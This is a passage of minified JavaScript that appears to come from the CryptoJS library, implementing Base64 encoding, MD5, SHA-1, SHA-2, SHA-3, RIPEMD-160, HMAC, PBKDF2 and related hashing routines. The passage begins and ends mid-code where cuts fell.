+= e << 16, t += r << 8, t += i } else t += 1 << 24; return t } function Rt() { for (var t = this._X, e = this._C, r = 0; r < 8; r++)ft[r] = e[r]; e[0] = e[0] + 1295307597 + this._b | 0, e[1] = e[1] + 3545052371 + (e[0] >>> 0 < ft[0] >>> 0 ? 1 : 0) | 0, e[2] = e[2] + 886263092 + (e[1] >>> 0 < ft[1] >>> 0 ? 1 : 0) | 0, e[3] = e[3] + 1295307597 + (e[2] >>> 0 < ft[2] >>> 0 ? 1 : 0) | 0, e[4] = e[4] + 3545052371 + (e[3] >>> 0 < ft[3] >>> 0 ? 1 : 0) | 0, e[5] = e[5] + 886263092 + (e[4] >>> 0 < ft[4] >>> 0 ? 1 : 0) | 0, e[6] = e[6] + 1295307597 + (e[5] >>> 0 < ft[5] >>> 0 ? 1 : 0) | 0, e[7] = e[7] + 3545052371 + (e[6] >>> 0 < ft[6] >>> 0 ? 1 : 0) | 0, this._b = e[7] >>> 0 < ft[7] >>> 0 ? 1 : 0; for (r = 0; r < 8; r++) { var i = t[r] + e[r], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, c = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); dt[r] = s ^ c } t[0] = dt[0] + (dt[7] << 16 | dt[7] >>> 16) + (dt[6] << 16 | dt[6] >>> 16) | 0, t[1] = dt[1] + (dt[0] << 8 | dt[0] >>> 24) + dt[7] | 0, t[2] = dt[2] + (dt[1] << 16 | dt[1] >>> 16) + (dt[0] << 16 | dt[0] >>> 16) | 0, t[3] = dt[3] + (dt[2] << 8 | dt[2] >>> 24) + dt[1] | 0, t[4] = dt[4] + (dt[3] << 16 | dt[3] >>> 16) + (dt[2] << 16 | dt[2] >>> 16) | 0, t[5] = dt[5] + (dt[4] << 8 | dt[4] >>> 24) + dt[3] | 0, t[6] = dt[6] + (dt[5] << 16 | dt[5] >>> 16) + (dt[4] << 16 | dt[4] >>> 16) | 0, t[7] = dt[7] + (dt[6] << 8 | dt[6] >>> 24) + dt[5] | 0 } function Mt() { for (var t = this._X, e = this._C, r = 0; r < 8; r++)wt[r] = e[r]; e[0] = e[0] + 1295307597 + this._b | 0, e[1] = e[1] + 3545052371 + (e[0] >>> 0 < wt[0] >>> 0 ? 1 : 0) | 0, e[2] = e[2] + 886263092 + (e[1] >>> 0 < wt[1] >>> 0 ? 1 : 0) | 0, e[3] = e[3] + 1295307597 + (e[2] >>> 0 < wt[2] >>> 0 ? 1 : 0) | 0, e[4] = e[4] + 3545052371 + (e[3] >>> 0 < wt[3] >>> 0 ? 1 : 0) | 0, e[5] = e[5] + 886263092 + (e[4] >>> 0 < wt[4] >>> 0 ? 1 : 0) | 0, e[6] = e[6] + 1295307597 + (e[5] >>> 0 < wt[5] >>> 0 ? 1 : 0) | 0, e[7] = e[7] + 3545052371 + (e[6] >>> 0 < wt[6] >>> 0 ? 1 : 0) | 0, this._b = e[7] >>> 0 < wt[7] >>> 0 ? 1 : 0; for (r = 0; r < 8; r++) { var i = t[r] + e[r], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, c = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); kt[r] = s ^ c } t[0] = kt[0] + (kt[7] << 16 | kt[7] >>> 16) + (kt[6] << 16 | kt[6] >>> 16) | 0, t[1] = kt[1] + (kt[0] << 8 | kt[0] >>> 24) + kt[7] | 0, t[2] = kt[2] + (kt[1] << 16 | kt[1] >>> 16) + (kt[0] << 16 | kt[0] >>> 16) | 0, t[3] = kt[3] + (kt[2] << 8 | kt[2] >>> 24) + kt[1] | 0, t[4] = kt[4] + (kt[3] << 16 | kt[3] >>> 16) + (kt[2] << 16 | kt[2] >>> 16) | 0, t[5] = kt[5] + (kt[4] << 8 | kt[4] >>> 24) + kt[3] | 0, t[6] = kt[6] + (kt[5] << 16 | kt[5] >>> 16) + (kt[4] << 16 | kt[4] >>> 16) | 0, t[7] = kt[7] + (kt[6] << 8 | kt[6] >>> 24) + kt[5] | 0 } return h = bt.lib.WordArray, bt.enc.Base64 = { stringify: function (t) { var e = t.words, r = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < r; o += 3)for (var s = (e[o >>> 2] >>> 24 - o % 4 * 8 & 255) << 16 | (e[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255) << 8 | e[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, c = 0; c < 4 && o + .75 * c < r; c++)n.push(i.charAt(s >>> 6 * (3 - c) & 63)); var a = i.charAt(64); if (a) for (; n.length % 4;)n.push(a); return n.join("") }, parse: function (t) { var e = t.length, r = this._map, i = this._reverseMap; if (!i) { i = this._reverseMap = []; for (var n = 0; n < r.length; n++)i[r.charCodeAt(n)] = n } var o = r.charAt(64); if (o) { var s = t.indexOf(o); -1 !== s && (e = s) } return function (t, e, r) { for (var i = [], n = 0, o = 0; o < e; o++)if (o % 4) { var s = r[t.charCodeAt(o - 1)] << o % 4 * 2, c = r[t.charCodeAt(o)] >>> 6 - o % 4 * 2, a = s | c; i[n >>> 2] |= a << 24 - n % 4 * 8, n++ } return h.create(i, n) }(t, e, i) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" }, function (l) { var t = bt, e = t.lib, r = e.WordArray, i = e.Hasher, n = t.algo, H = []; !function () { for (var t = 0; t < 64; t++)H[t] = 4294967296 * l.abs(l.sin(t + 1)) | 0 }(); var o = n.MD5 = i.extend({ _doReset: function () { this._hash = new r.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, e) { for (var r = 0; r < 16; r++) { var i = e + r, n = t[i]; t[i] = 16711935 & (n << 8 | n >>> 24) | 4278255360 & (n << 24 | n >>> 8) } var o = this._hash.words, s = t[e + 0], c = t[e + 1], a = t[e + 2], h = t[e + 3], l = t[e + 4], f = t[e + 5], d = t[e + 6], u = t[e + 7], p = t[e + 8], _ = t[e + 9], v = t[e + 10], y = t[e + 11], g = t[e + 12], B = t[e + 13], w = t[e + 14], k = t[e + 15], S = o[0], m = o[1], x = o[2], b = o[3]; S = z(S, m, x, b, s, 7, H[0]), b = z(b, S, m, x, c, 12, H[1]), x = z(x, b, S, m, a, 17, H[2]), m = z(m, x, b, S, h, 22, H[3]), S = z(S, m, x, b, l, 7, H[4]), b = z(b, S, m, x, f, 12, H[5]), x = z(x, b, S, m, d, 17, H[6]), m = z(m, x, b, S, u, 22, H[7]), S = z(S, m, x, b, p, 7, H[8]), b = z(b, S, m, x, _, 12, H[9]), x = z(x, b, S, m, v, 17, H[10]), m = z(m, x, b, S, y, 22, H[11]), S = z(S, m, x, b, g, 7, H[12]), b = z(b, S, m, x, B, 12, H[13]), x = z(x, b, S, m, w, 17, H[14]), S = A(S, m = z(m, x, b, S, k, 22, H[15]), x, b, c, 5, H[16]), b = A(b, S, m, x, d, 9, H[17]), x = A(x, b, S, m, y, 14, H[18]), m = A(m, x, b, S, s, 20, H[19]), S = A(S, m, x, b, f, 5, H[20]), b = A(b, S, m, x, v, 9, H[21]), x = A(x, b, S, m, k, 14, H[22]), m = A(m, x, b, S, l, 20, H[23]), S = A(S, m, x, b, _, 5, H[24]), b = A(b, S, m, x, w, 9, H[25]), x = A(x, b, S, m, h, 14, H[26]), m = A(m, x, b, S, p, 20, H[27]), S = A(S, m, x, b, B, 5, H[28]), b = A(b, S, m, x, a, 9, H[29]), x = A(x, b, S, m, u, 14, H[30]), S = C(S, m = A(m, x, b, S, g, 20, H[31]), x, b, f, 4, H[32]), b = C(b, S, m, x, p, 11, H[33]), x = C(x, b, S, m, y, 16, H[34]), m = C(m, x, b, S, w, 23, H[35]), S = C(S, m, x, b, c, 4, H[36]), b = C(b, S, m, x, l, 11, H[37]), x = C(x, b, S, m, u, 16, H[38]), m = C(m, x, b, S, v, 23, H[39]), S = C(S, m, x, b, B, 4, H[40]), b = C(b, S, m, x, s, 11, H[41]), x = C(x, b, S, m, h, 16, H[42]), m = C(m, x, b, S, d, 23, H[43]), S = C(S, m, x, b, _, 4, H[44]), b = C(b, S, m, x, g, 11, H[45]), x = C(x, b, S, m, k, 16, H[46]), S = D(S, m = C(m, x, b, S, a, 23, H[47]), x, b, s, 6, H[48]), b = D(b, S, m, x, u, 10, H[49]), x = D(x, b, S, m, w, 15, H[50]), m = D(m, x, b, S, f, 21, H[51]), S = D(S, m, x, b, g, 6, H[52]), b = D(b, S, m, x, h, 10, H[53]), x = D(x, b, S, m, v, 15, H[54]), m = D(m, x, b, S, c, 21, H[55]), S = D(S, m, x, b, p, 6, H[56]), b = D(b, S, m, x, k, 10, H[57]), x = D(x, b, S, m, d, 15, H[58]), m = D(m, x, b, S, B, 21, H[59]), S = D(S, m, x, b, l, 6, H[60]), b = D(b, S, m, x, y, 10, H[61]), x = D(x, b, S, m, a, 15, H[62]), m = D(m, x, b, S, _, 21, H[63]), o[0] = o[0] + S | 0, o[1] = o[1] + m | 0, o[2] = o[2] + x | 0, o[3] = o[3] + b | 0 }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; e[i >>> 5] |= 128 << 24 - i % 32; var n = l.floor(r / 4294967296), o = r; e[15 + (64 + i >>> 9 << 4)] = 16711935 & (n << 8 | n >>> 24) | 4278255360 & (n << 24 | n >>> 8), e[14 + (64 + i >>> 9 << 4)] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var s = this._hash, c = s.words, a = 0; a < 4; a++) { var h = c[a]; c[a] = 16711935 & (h << 8 | h >>> 24) | 4278255360 & (h << 24 | h >>> 8) } return s }, clone: function () { var t = i.clone.call(this); return t._hash = this._hash.clone(), t } }); function z(t, e, r, i, n, o, s) { var c = t + (e & r | ~e & i) + n + s; return (c << o | c >>> 32 - o) + e } function A(t, e, r, i, n, o, s) { var c = t + (e & i | r & ~i) + n + s; return (c << o | c >>> 32 - o) + e } function C(t, e, r, i, n, o, s) { var c = t + (e ^ r ^ i) + n + s; return (c << o | c >>> 32 - o) + e } function D(t, e, r, i, n, o, s) { var c = t + (r ^ (e | ~i)) + n + s; return (c << o | c >>> 32 - o) + e } t.MD5 = i._createHelper(o), t.HmacMD5 = i._createHmacHelper(o) }(Math), e = (t = bt).lib, r = e.WordArray, i = e.Hasher, n = t.algo, f = [], o = n.SHA1 = i.extend({ _doReset: function () { this._hash = new r.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, e) { for (var r = this._hash.words, i = r[0], n = r[1], o = r[2], s = r[3], c = r[4], a = 0; a < 80; a++) { if (a < 16) f[a] = 0 | t[e + a]; else { var h = f[a - 3] ^ f[a - 8] ^ f[a - 14] ^ f[a - 16]; f[a] = h << 1 | h >>> 31 } var l = (i << 5 | i >>> 27) + c + f[a]; l += a < 20 ? 1518500249 + (n & o | ~n & s) : a < 40 ? 1859775393 + (n ^ o ^ s) : a < 60 ? (n & o | n & s | o & s) - 1894007588 : (n ^ o ^ s) - 899497514, c = s, s = o, o = n << 30 | n >>> 2, n = i, i = l } r[0] = r[0] + i | 0, r[1] = r[1] + n | 0, r[2] = r[2] + o | 0, r[3] = r[3] + s | 0, r[4] = r[4] + c | 0 }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; return e[i >>> 5] |= 128 << 24 - i % 32, e[14 + (64 + i >>> 9 << 4)] = Math.floor(r / 4294967296), e[15 + (64 + i >>> 9 << 4)] = r, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = i.clone.call(this); return t._hash = this._hash.clone(), t } }), t.SHA1 = i._createHelper(o), t.HmacSHA1 = i._createHmacHelper(o), function (n) { var t = bt, e = t.lib, r = e.WordArray, i = e.Hasher, o = t.algo, s = [], B = []; !function () { function t(t) { for (var e = n.sqrt(t), r = 2; r <= e; r++)if (!(t % r)) return; return 1 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var r = 2, i = 0; i < 64;)t(r) && (i < 8 && (s[i] = e(n.pow(r, .5))), B[i] = e(n.pow(r, 1 / 3)), i++), r++ }(); var w = [], c = o.SHA256 = i.extend({ _doReset: function () { this._hash = new r.init(s.slice(0)) }, _doProcessBlock: function (t, e) { for (var r = this._hash.words, i = r[0], n = r[1], o = r[2], s = r[3], c = r[4], a = r[5], h = r[6], l = r[7], f = 0; f < 64; f++) { if (f < 16) w[f] = 0 | t[e + f]; else { var d = w[f - 15], u = (d << 25 | d >>> 7) ^ (d << 14 | d >>> 18) ^ d >>> 3, p = w[f - 2], _ = (p << 15 | p >>> 17) ^ (p << 13 | p >>> 19) ^ p >>> 10; w[f] = u + w[f - 7] + _ + w[f - 16] } var v = i & n ^ i & o ^ n & o, y = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), g = l + ((c << 26 | c >>> 6) ^ (c << 21 | c >>> 11) ^ (c << 7 | c >>> 25)) + (c & a ^ ~c & h) + B[f] + w[f]; l = h, h = a, a = c, c = s + g | 0, s = o, o = n, n = i, i = g + (y + v) | 0 } r[0] = r[0] + i | 0, r[1] = r[1] + n | 0, r[2] = r[2] + o | 0, r[3] = r[3] + s | 0, r[4] = r[4] + c | 0, r[5] = r[5] + a | 0, r[6] = r[6] + h | 0, r[7] = r[7] + l | 0 }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; return e[i >>> 5] |= 128 << 24 - i % 32, e[14 + (64 + i >>> 9 << 4)] = n.floor(r / 4294967296), e[15 + (64 + i >>> 9 << 4)] = r, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = i.clone.call(this); return t._hash = this._hash.clone(), t } }); t.SHA256 = i._createHelper(c), t.HmacSHA256 = i._createHmacHelper(c) }(Math), function () { var n = bt.lib.WordArray, t = bt.enc; t.Utf16 = t.Utf16BE = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n += 2) { var o = e[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i++)r[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(r, 2 * e) } }; function s(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } t.Utf16LE = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n += 2) { var o = s(e[n >>> 2] >>> 16 - n % 4 * 8 & 65535); i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i++)r[i >>> 1] |= s(t.charCodeAt(i) << 16 - i % 2 * 16); return n.create(r, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var t = bt.lib.WordArray, n = t.init; (t.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var e = t.byteLength, r = [], i = 0; i < e; i++)r[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, r, e) } else n.apply(this, arguments) }).prototype = t } }(), Math, c = (s = bt).lib, a = c.WordArray, l = c.Hasher, d = s.algo, m = a.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), x = a.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), b = a.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), H = a.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), z = a.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), A = a.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), u = d.RIPEMD160 = l.extend({ _doReset: function () { this._hash = a.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, e) { for (var r = 0; r < 16; r++) { var i = e + r, n = t[i]; t[i] = 16711935 & (n << 8 | n >>> 24) | 4278255360 & (n << 24 | n >>> 8) } var o, s, c, a, h, l, f, d, u, p, _, v = this._hash.words, y = z.words, g = A.words, B = m.words, w = x.words, k = b.words, S = H.words; l = o = v[0], f = s = v[1], d = c = v[2], u = a = v[3], p = h = v[4]; for (r = 0; r < 80; r += 1)_ = o + t[e + B[r]] | 0, _ += r < 16 ? mt(s, c, a) + y[0] : r < 32 ? xt(s, c, a) + y[1] : r < 48 ? Ht(s, c, a) + y[2] : r < 64 ? zt(s, c, a) + y[3] : At(s, c, a) + y[4], _ = (_ = Ct(_ |= 0, k[r])) + h | 0, o = h, h = a, a = Ct(c, 10), c = s, s = _, _ = l + t[e + w[r]] | 0, _ += r < 16 ? At(f, d, u) + g[0] : r < 32 ? zt(f, d, u) + g[1] : r < 48 ? Ht(f, d, u) + g[2] : r < 64 ? xt(f, d, u) + g[3] : mt(f, d, u) + g[4], _ = (_ = Ct(_ |= 0, S[r])) + p | 0, l = p, p = u, u = Ct(d, 10), d = f, f = _; _ = v[1] + c + u | 0, v[1] = v[2] + a + p | 0, v[2] = v[3] + h + l | 0, v[3] = v[4] + o + f | 0, v[4] = v[0] + s + d | 0, v[0] = _ }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; e[i >>> 5] |= 128 << 24 - i % 32, e[14 + (64 + i >>> 9 << 4)] = 16711935 & (r << 8 | r >>> 24) | 4278255360 & (r << 24 | r >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var c = o[s]; o[s] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } return n }, clone: function () { var t = l.clone.call(this); return t._hash = this._hash.clone(), t } }), s.RIPEMD160 = l._createHelper(u), s.HmacRIPEMD160 = l._createHmacHelper(u), p = bt.lib.Base, _ = bt.enc.Utf8, bt.algo.HMAC = p.extend({ init: function (t, e) { t = this._hasher = new t.init, "string" == typeof e && (e = _.parse(e)); var r = t.blockSize, i = 4 * r; e.sigBytes > i && (e = t.finalize(e)), e.clamp(); for (var n = this._oKey = e.clone(), o = this._iKey = e.clone(), s = n.words, c = o.words, a = 0; a < r; a++)s[a] ^= 1549556828, c[a] ^= 909522486; n.sigBytes = o.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var e = this._hasher, r = e.finalize(t); return e.reset(), e.finalize(this._oKey.clone().concat(r)) } }), y = (v = bt).lib, g = y.Base, B = y.WordArray, w = v.algo, k = w.SHA1, S = w.HMAC, C = w.PBKDF2 = g.extend({ cfg: g.extend({ keySize: 4, hasher: k, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, e) { for (var r = this.cfg, i = S.create(r.hasher, t), n = B.create(), o = B.create([1]), s = n.words, c = o.words, a = r.keySize, h = r.iterations; s.length < a;) { var l = i.update(e).finalize(o); i.reset(); for (var f = l.words, d = f.length, u = l, p = 1; p < h; p++) { u = i.finalize(u), i.reset(); for (var _ = u.words, v = 0; v < d; v++)f[v] ^= _[v] } n.concat(l), c[0]++ } return n.sigBytes = 4 * a, n } }), v.PBKDF2 = function (t, e, r) { return C.create(r).compute(t, e) }, E = (D = bt).lib, R = E.Base, M = E.WordArray, F = D.algo, P = F.MD5, W = F.EvpKDF = R.extend({ cfg: R.extend({ keySize: 4, hasher: P, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, e) { for (var r, i = this.cfg, n = i.hasher.create(), o = M.create(), s = o.words, c = i.keySize, a = i.iterations; s.length < c;) { r && n.update(r), r = n.update(t).finalize(e), n.reset(); for (var h = 1; h < a; h++)r = n.finalize(r), n.reset(); o.concat(r) } return o.sigBytes = 4 * c, o } }), D.EvpKDF = function (t, e, r) { return W.create(r).compute(t, e) }, I = (O = bt).lib.WordArray, U = O.algo, K = U.SHA256, X = U.SHA224 = K.extend({ _doReset: function () { this._hash = new I.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = K._doFinalize.call(this); return t.sigBytes -= 4, t } }), O.SHA224 = K._createHelper(X), O.HmacSHA224 = K._createHmacHelper(X), L = bt.lib, j = L.Base, N = L.WordArray, (T = bt.x64 = {}).Word = j.extend({ init: function (t, e) { this.high = t, this.low = e } }), T.WordArray = j.extend({ init: function (t, e) { t = this.words = t || [], this.sigBytes = null != e ? e : 8 * t.length }, toX32: function () { for (var t = this.words, e = t.length, r = [], i = 0; i < e; i++) { var n = t[i]; r.push(n.high), r.push(n.low) } return N.create(r, this.sigBytes) }, clone: function () { for (var t = j.clone.call(this), e = t.words = this.words.slice(0), r = e.length, i = 0; i < r; i++)e[i] = e[i].clone(); return t } }), function (d) { var t = bt, e = t.lib, u = e.WordArray, i = e.Hasher, l = t.x64.Word, r = t.algo, C = [], D = [], E = []; !function () { for (var t = 1, e = 0, r = 0; r < 24; r++) { C[t + 5 * e] = (r + 1) * (r + 2) / 2 % 64; var i = (2 * t + 3 * e) % 5; t = e % 5, e = i } for (t = 0; t < 5; t++)for (e = 0; e < 5; e++)D[t + 5 * e] = e + (2 * t + 3 * e) % 5 * 5; for (var n = 1, o = 0; o < 24; o++) { for (var s = 0, c = 0, a = 0; a < 7; a++) { if (1 & n) { var h = (1 << a) - 1; h < 32 ? c ^= 1 << h : s ^= 1 << h - 32 } 128 & n ? n = n << 1 ^ 113 : n <<= 1 } E[o] = l.create(s, c) } }(); var R = []; !function () { for (var t = 0; t < 25; t++)R[t] = l.create() }(); var n = r.SHA3 = i.extend({ cfg: i.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], e = 0; e < 25; e++)t[e] = new l.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, e) { for (var r = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[e + 2 * n], s = t[e + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), (x = r[n]).high ^= s, x.low ^= o } for (var c = 0; c < 24; c++) { for (var a = 0; a < 5; a++) { for (var h = 0, l = 0, f = 0; f < 5; f++) { h ^= (x = r[a + 5 * f]).high, l ^= x.low } var d = R[a]; d.high = h, d.low = l } for (a = 0; a < 5; a++) { var u = R[(a + 4) % 5], p = R[(a + 1) % 5], _ = p.high, v = p.low; for (h = u.high ^ (_ << 1 | v >>> 31), l = u.low ^ (v << 1 | _ >>> 31), f = 0; f < 5; f++) { (x = r[a + 5 * f]).high ^= h, x.low ^= l } } for (var y = 1; y < 25; y++) { var g = (x = r[y]).high, B = x.low, w = C[y]; l = w < 32 ? (h = g << w | B >>> 32 - w, B << w | g >>> 32 - w) : (h = B << w - 32 | g >>> 64 - w, g << w - 32 | B >>> 64 - w); var k = R[D[y]]; k.high = h, k.low = l } var S = R[0], m = r[0]; S.high = m.high, S.low = m.low; for (a = 0; a < 5; a++)for (f = 0; f < 5; f++) { var x = r[y = a + 5 * f], b = R[y], H = R[(a + 1) % 5 + 5 * f], z = R[(a + 2) % 5 + 5 * f]; x.high = b.high ^ ~H.high & z.high, x.low = b.low ^ ~H.low & z.low } x = r[0]; var A = E[c]; x.high ^= A.high, x.low ^= A.low } }, _doFinalize: function () { var t = this._data, e = t.words, r = (this._nDataBytes, 8 * t.sigBytes), i = 32 * this.blockSize; e[r >>> 5] |= 1 << 24 - r % 32, e[(d.ceil((1 + r) / i) * i >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var n = this._state, o = this.cfg.outputLength / 8, s = o / 8, c = [], a = 0; a < s; a++) { var h = n[a], l = h.high, f = h.low; l = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8), f = 16711935 & (f << 8 | f >>> 24) | 4278255360 & (f << 24 | f >>> 8), c.push(f), c.push(l) } return new u.init(c, o) }, clone: function () { for (var t = i.clone.call(this), e = t._state = this._state.slice(0), r = 0; r < 25; r++)e[r] = e[r].clone(); return t } }); t.SHA3 = i._createHelper(n), t.HmacSHA3 = i._createHmacHelper(n) }(Math), function () { var t = bt, e = t.lib.Hasher, r = t.x64, i = r.Word, n = r.WordArray, o = t.algo; function s() { return i.create.apply(i, arguments) } var mt = [s(1116352408, 3609767458), s(1899447441, 602891725), s(3049323471, 3964484399), s(3921009573, 2173295548), s(961987163, 4081628472), s(1508970993, 3053834265), s(2453635748, 2937671579), s(2870763221, 3664609560), s(3624381080, 2734883394), s(310598401, 1164996542), s(607225278, 1323610764), s(1426881987, 3590304994), s(1925078388, 4068182383), s(2162078206, 991336113), s(2614888103, 633803317), s(3248222580, 3479774868), s(3835390401, 2666613458), s(4022224774, 944711139), s(264347078, 2341262773), s(604807628, 2007800933), s(770255983, 1495990901), s(1249150122, 1856431235), s(1555081692, 3175218132), s(1996064986, 2198950837), s(2554220882, 3999719339), s(2821834349, 766784016), s(2952996808, 2566594879), s(3210313671, 3203337956), s(3336571891, 1034457026), s(3584528711, 2466948901), s(113926993, 3758326383), s(338241895, 168717936), s(666307205, 1188179964), s(773529912, 1546045734), s(1294757372, 1522805485), s(1396182291, 2643833823), s(1695183700, 2343527390), s(1986661051, 1014477480), s(2177026350, 1206759142), s(2456956037, 344077627), s(2730485921, 1290863460), s(2820302411, 3158454273), s(3259730800, 3505952657), s(3345764771, 106217008), s(3516065817, 3606008344), s(3600352804, 1432725776), s(4094571909, 1467031594), s(275423344, 851169720), s(430227734, 3100823752), s(506948616, 1363258195), s(659060556, 3750685593), s(883997877, 3785050280), s(958139571, 3318307427), s(1322822218, 3812723403), s(1537002063, 2003034995), s(1747873779, 3602036899), s(1955562222, 1575990012), s(2024104815, 1125592928), s(2227730452, 2716904306), s(2361852424, 442776044), s(2428436474, 593698344), s(2756734187, 3733110249), s(3204031479, 2999351573), s(3329325298, 3815920427), s(3391569614, 3928383900), s(3515267271, 566280711), s(3940187606, 3454069534), s(4118630271, 4000239992), s(116418474, 1914138554), s(174292421, 2731055270), s(289380356, 3203993006), s(460393269, 320620315), s(685471733, 587496836), s(852142971, 1086792851), s(1017036298, 365543100), s(1126000580, 2618297676), s(1288033470, 3409855158), s(1501505948, 4234509866), s(1607167915, 987167468), s(1816402316, 1246189591)], xt = []; !function () { for (var t = 0; t < 80; t++)xt[t] = s() }(); var c = o.SHA512 = e.extend({ _doReset: function () { this._hash = new n.init([new i.init(1779033703, 4089235720), new i.init(3144134277, 2227873595), new i.init(1013904242, 4271175723), new i.init(2773480762, 1595750129), new i.init(1359893119, 2917565137), new i.init(2600822924, 725511199), new i.init(528734635, 4215389547), new i.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, e) { for (var r = this._hash.words, i = r[0], n = r[1], o = r[2], s = r[3], c = r[4], a = r[5], h = r[6], l = r[7], f = i.high, d = i.low, u = n.high, p = n.low, _ = o.high, v = o.low, y = s.high, g = s.low, B = c.high, w = c.low, k = a.high, S = a.low, m = h.high, x = h.low, b = l.high, H = l.low, z = f, A = d, C = u, D = p, E = _, R = v, M = y, F = g, P = B, W = w, O = k, I = S, U = m, K = x, X = b, L = H, j = 0; j < 80; j++) { var N, T, q = xt[j]; if (j < 16) T = q.high = 0 | t[e + 2 * j], N = q.low = 0 | t[e + 2 * j + 1]; else { var Z = xt[j - 15], V = Z.high, G = Z.low, J = (V >>> 1 | G << 31) ^ (V >>> 8 | G << 24) ^ V >>> 7, $ = (G >>> 1 | V << 31) ^ (G >>> 8 | V << 24) ^ (G >>> 7 | V << 25), Q = 